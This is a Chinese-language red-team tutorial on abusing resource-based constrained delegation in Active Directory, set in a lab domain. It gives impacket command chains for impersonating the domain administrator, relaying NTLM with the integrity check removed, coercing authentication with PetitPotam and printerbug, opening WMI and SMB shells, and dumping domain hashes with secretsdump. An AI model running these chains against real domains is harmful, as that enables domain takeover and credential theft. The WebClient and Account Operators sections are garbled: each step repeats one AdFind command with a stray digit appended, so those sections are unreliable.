基于资源的约束委派（RBCD）

RBCD

给机器添加RBCD的前提：1.自己能给自己添加2.ACL→Account Restriction/msDS-AllowedToActOnBehalfOfOtherIdentity属性→creator-sid/backdoor/high level user。如果对计算机对象/域用户具Account Restriction和msDS-AllowedToActOnBehalfOfOtherIdentity属性的WriteProperty，就能进行基于资源约束委派的利用。

简单利用

基于资源的约束委派(Computer)

添加

分两种情况：

(1).creator-sid 用户：alice-workstation$由alice拉入域中，则alice默认就具有alice-workstation$的Account Restriction的WriteProperty权限

(2).拿下域权限后添加bob对alice-workstation$的msDS-AllowedToActOnBehalfOfOtherIdentity的WriteProperty权限1.ldap_shell

2.lex

adfind对alice-workstation的acl进行查询：

滥用

以bob对alice-workstation$滥用进行演示：

域用户默认能添加 10 台计算机入域(maq)，以bob的身份添加bob-evil$

设置bob-evil到alice-station$的rbcd

约束委派生成administrator对alice-station$的cifs ST票据

导入票据并获得一个wmi的交互式shell

基于资源的约束委派(User)→MAQ=0

前段时间，老外已经研究出了这种利用方式：

https://www.tiraniddo.dev/2022/05/exploiting-rbcd-using-normal-user.html在maq=0的情况下，攻击者无法创建机器账户，可以通过域用户rbcd到域机器账户进行滥用。

添加

跟上面一样，alice-station由alice拉入域中，所以alice具有alice-station$域用户的 **msDS-AllowedToActOnBehalfOfOtherIdentity的WriteProperty权限。**设置bob到alice-station$到bob的rbcd：

滥用

getST.py生成administrator对alice-station的cifs ST票据：

在S4U2self阶段报错：Kerberos SessionError:KDC_ERR_S_PRINCIPAL_UNKNOWN。

这是因为用户默认没有注册SPN，KDC无法选择正确的密钥来解密，所以在S4U2Self才会失败。如果将 SPN 添加到bob就能成功从KDC申请ST票据，这意味着这不是用户帐户本身的问题，而只是 KDC 无法选择正确密钥进行解密。

U2U实现了用户到用户的身份验证拓展，在S4U2Proxy阶段KDC会尝试使用bob的Long-term key(bob 的hash)进行解密，但U2U会使用附加到TGS-REQ当中的TGT会话密钥加密之后的票据，KDC无法正常解密。这时可以利用SamrChangePasswordUser在S4U2Self和S4U2Proxy中间将bob的hash更改成U2U对TGT加密密钥的值，KDC就能成功解密并颁发ST票据。具体可参考：https://mp.weixin.qq.com/s/1eJb-UtSVRV5JF0gfQgwWg

impacket利用

以设置普通域用户dandy基于资源约束委派到dc1$为例，这里直接粗暴利用administrator设置rbcd

# 设置dandy到dc1$的RBCD
python3 rbcd.py redteam.lab/administrator:Qq123456.. -action write -delegate-to 'dc1$' -delegate-from 'dandy' -dc-ip 192.168.134.
# 使用dandy的hash生成TGT（ntlm hash使用RC4加密）
getTGT.py -hashes :$(pypykatz crypto nt 'Qq123456..') 'redteam.lab/dandy' -dc-ip 192.168.134.
# 获取dandyTGT的Session Key
python3 describeticket.py dandy.ccache | grep 'Ticket Session Key'
# 将dandy的hash设置为Session Key
python3 smbpasswd.py -newhashes :c592bc40c1908aff4787f4f4db7f0a82 'redteam/dandy:Qq123456..'@dc1.redteam.lab
# 导入TGT
export KRB5CCNAME=dandy.ccache
# 利用u2u获取dc1的host service的ST
python3 getST.py -u2u -impersonate administrator -spn "host/dc1.redteam.lab" -k -no-pass 'redteam.lab/dandy'
# 导入ST
export KRB5CCNAME=administrator@[email protected]
# WMI
python3 wmiexec.py [email protected] -k -no-pass

注：SamrChangePasswordUser受域组策略影响，域内默认且普遍存在密码策略，可能不能做到及时改回密码。如果肯定通过当前域用户能拿下DC的话可以进行尝试，利用成功后将用户密码改为原来的值。

烂番茄

基于资源的约束委派通过修改自身msDS-AllowedToActOnBehalfOfOtherIdentity字段达到委派的目的，默认把这台域机器拉入域的域用户有这个权限，还有谁有？因为evil这台机器通过 07 用户拉入域内，通过AdFind遍历evil的ACL，通过write筛选对其具有写权限的用户。

AdFind -b "CN=evil,CN=Computers,DC=redteam,DC=lab" -s base nTSecurityDescriptor -sddl++ -resolvesids | findstr "write”

可以看到不只是 07 这个用户，SYSTEM权限的用户也对这个对象具有写的权限。

攻击面：通过iis等以服务权限起的域用户拿到当前域机器最高权限。

(https://docs.microsoft.com/en-us/iis/manage/configuring-security/application-pool-identities)官方文档中明确表示iis等服务用户以机器账号(SYSTEM)请求网络资源。官方文档中明确表示iis等服务用户以机器账号(SYSTEM)请求网络资源。)

这样会导致一个非常严重的问题：不止于iis，所有低权限服务(例如network service这类型的本机服务)都是以机器账户身份去请求的域内资源。利用这一特性可以直接使其连接到域控的ldap设置基于当前机器的基于资源的约束委派，造成当前域机器沦陷。

演示

前面已知：

1. 域内用户默认可以创建十台域机器。

1. 低权限服务(例如network service这类型的本机服务)都是以机器账户身份请求域内资源。

   机器账号对其本身有WriteProperty权限。当前环境：

   在域内域机器web2008上存在iis服务，攻击者拿到webshell后发现当前权限为iis，但是此用户依然是域用户，可以创建机器账号；

   iis以机器账户请求域内资源，对其机器本身有WriteProperty权限，可以设置自身的msDS-AllowedToActOnBehalfOfOtherIdentity字段来设置基于资源的约束委派。所以可以利用web2008创建域机器（此处为evilpc），并通过writelproperty设置evilpc到其的基于资源的约束委派。

   

通过查看LDAP确定是否设置成功

python3 getST.py -dc-ip 192.168.129.130 redteam/evilpc\$:123456 -spn cifs/web2008.redteam.lab -impersonate administrator
export KRB5CCNAME=administrator.ccache
python3 smbexec.py -no-pass -k redteam/[email protected]

2019-1040

通过MITM，将目标SMB身份验证relay到DC的ldap。由于无法将SMB直接通过LDAP进行中继，所以需要绕过NTLM MIC验证（消息完整性检查），使得攻击者可能在仅有一个普通域账号的情况下拿到域内最高权限。1.创建域机器

python3 addcomputer.py -method SAMR -dc-ip 192.168.130.130 -computer-name QQQ -computer-pass 1qaz@WSX "redteam.lab/carn2:Qq123456.."

2.ntlmrelayx.py监听

python3 ntlmrelayx.py -t ldap://192.168.130.131 -domain redteam.lab -smb2support --remove-mic --delegate-access --escalate-user QQQ$

3.强制触发反连prc

python3 PetitPotam.py 192.168.130.1 192.168.130.130 -u carn2 -p Qq123456.. -d redteam.lab
------
python3 printerbug.py 域/用户名:密码@服务ip 回连ip
python3 printerbug.py hiro/win10:[email protected] 192.168.1.

Ntlmrelayx.py绕过NTLM MIC，通过SMB relay 到LADP，因为域控并不在Exchange Windows Permissions这个组里面，所以也写不了ACL，不能给指定用户添加Dcsync的权限；但是它能创建新的计算机账户，并且设置该机器账户对辅助域控自身的约束委派。

基于资源的约束委派生成administrator对dc1的ST票据

python3 getST.py -spn host/dc1.redteam.lab 'redteam.lab/QQQ$:1qaz@WSX' -impersonate administrator -dc-ip 192.168.130.

导出域哈希

export KRB5CCNAME=administrator.ccache
python3 secretsdump.py -k -no-pass dc1.redteam.lab -just-dc

webclient http self relay

Web 分布式创作和版本控制 (WebDAV) 是超文本传输协议 (HTTP) 的扩展，它定义了如何使用 HTTP ( docs.microsoft.com )执行复制、移动、删除和创建等基本文件功能需要启用 WebClient 服务才能使基于 WebDAV 的程序和功能正常工作。事实证明，攻击者可以间接滥用 WebClient 服务来强制进行身份验证。这种技术需要与其他强制技术（例如PetitPotam、PrinterBug）结合起来，作为这些技术的助推器。，从而提高NTLM 中继能力。当对启用 WebDAV 的 UNC 路径触发文件操作时，身份验证主机将执行以下操作：

1. 发出一个 OPTIONS 方法来发现 Web 服务器支持的功能，
2. 如果支持 PROPFIND，则发出 PROPFIND 请求方法来发现目录结构，
3. 如果 Web 服务器以 401 Unauthorized 响应并通过 WWW-Authenticate 标头请求 NTLM 身份验证，则 WebDAV 迷你重定向器将继续启动 NTLM 质询响应身份验证，最终将NetNTLM 哈希提供给 Web 服务器。

身份验证的整体流程可能如下所示：

在 Active Directory 的默认配置中，可以在其 WebClient 服务运行时远程接管工作站 (Windows 7/10/11) 和可能的服务器（如果安装了桌面体验）。简而言之，这是通过以下方式完成的：

• 通过 MS-RPRN 或 MS-EFSRPC 通过 HTTP 触发机器身份验证，这需要一组用于 RPC 调用的凭据。
• 将该机器身份验证中继到 LDAP/LDAPS 以配置 RBCD/Shadow Credentials

需要注意的是，WebClient 服务不会在启动时自动启动。但是，如果已触发 WebClient 服务在工作站上启动，就可以远程接管该系统。在强制身份验证中， WebDAV 可以代替 SMB，通过以下格式的 UNC 路径访问攻击者的 HTTP 服务器：尽管这种路径与 SMB 协议中默认的 UNC 路径差别很小，但带来的影响非常巨大。效果上最明显的区别在于，客户端不再使用 SMB 协议，而是会使用HTTP 协议（WebDAV），从而在 Relay To LDAP/s 中绕过签名。并且，这样做还有一个好处就是攻击者的 HTTP 服务器可以在任何端口上运行，从红队的角度来看，这提供了很大的灵活性，其允许我们避免处理已经绑定的 SMB 端口。

利用：在客户端机器上启动 WebClient 服务，然后通过 WebClient 执行 NTLM Relay To LDAP/s，为当前机器设置 msDS-KeyCredentialLink 或 msDS-AllowedToActOnBehalfOfOtherIdentity 属性，并最终通过 Shadow Credentials 或 RBCD 提升权限。

利用条件

1.WebClient服务需要在目标上运行。2.默认情况下，Web 客户端只会自动对 Intranet 区域中的主机进行身份验证，WebClient 仅对本地内部网（Local Intranet）或受信任的站点（Trusted Sites）列表中的目标使用 “默认凭据” 进行身份验证。实现目的的一种方法是使用攻击主机的内部netbios名称（无句点）或者利用dnstool.py 为攻击者添加dns来完成。3.必须禁用 LDAP 签名/通道绑定（默认设置）。4.用于强制 HTTP 身份验证必须用netbios名称进行认证。

利用

1.建立socks连接

socks 26085

2.检查webclient状态

1.利用webclientservicescanner查询

webclientservicescanner redteam/carn:'4120'@192.168.130.100 -dc-ip 192.168.130.

如果webclient未开启，低权限可以用StartWebClientSvc.o来打开

2.利用sc服务查询

AdFind -b "CN=evil,CN=Computers,DC=redteam,DC=lab" -s base nTSecurityDescriptor -sddl++ -resolvesids | findstr "write”
0

3.使用crackmapexec检查

AdFind -b "CN=evil,CN=Computers,DC=redteam,DC=lab" -s base nTSecurityDescriptor -sddl++ -resolvesids | findstr "write”
1

3.开启端口转发

AdFind -b "CN=evil,CN=Computers,DC=redteam,DC=lab" -s base nTSecurityDescriptor -sddl++ -resolvesids | findstr "write”
2

1.添加RBCD

1.添加域机器QAZ$

AdFind -b "CN=evil,CN=Computers,DC=redteam,DC=lab" -s base nTSecurityDescriptor -sddl++ -resolvesids | findstr "write”
3

2.ntlmrelayx.py监听，添加到QAZ$的基于资源约束委派

AdFind -b "CN=evil,CN=Computers,DC=redteam,DC=lab" -s base nTSecurityDescriptor -sddl++ -resolvesids | findstr "write”
4

3.rfsrpc触发回连

AdFind -b "CN=evil,CN=Computers,DC=redteam,DC=lab" -s base nTSecurityDescriptor -sddl++ -resolvesids | findstr "write”
5

4.以管理员的名义getst

AdFind -b "CN=evil,CN=Computers,DC=redteam,DC=lab" -s base nTSecurityDescriptor -sddl++ -resolvesids | findstr "write”
6

Acount Operators

Acount Operators组成员可以修改域内除了dc外其他所有pc的msDS-AllowedToActOnBehalfOfOtherIdentity属性

AdFind -b "CN=evil,CN=Computers,DC=redteam,DC=lab" -s base nTSecurityDescriptor -sddl++ -resolvesids | findstr "write”
7

addcomputer

AdFind -b "CN=evil,CN=Computers,DC=redteam,DC=lab" -s base nTSecurityDescriptor -sddl++ -resolvesids | findstr "write”
8

addRBCD

AdFind -b "CN=evil,CN=Computers,DC=redteam,DC=lab" -s base nTSecurityDescriptor -sddl++ -resolvesids | findstr "write”
9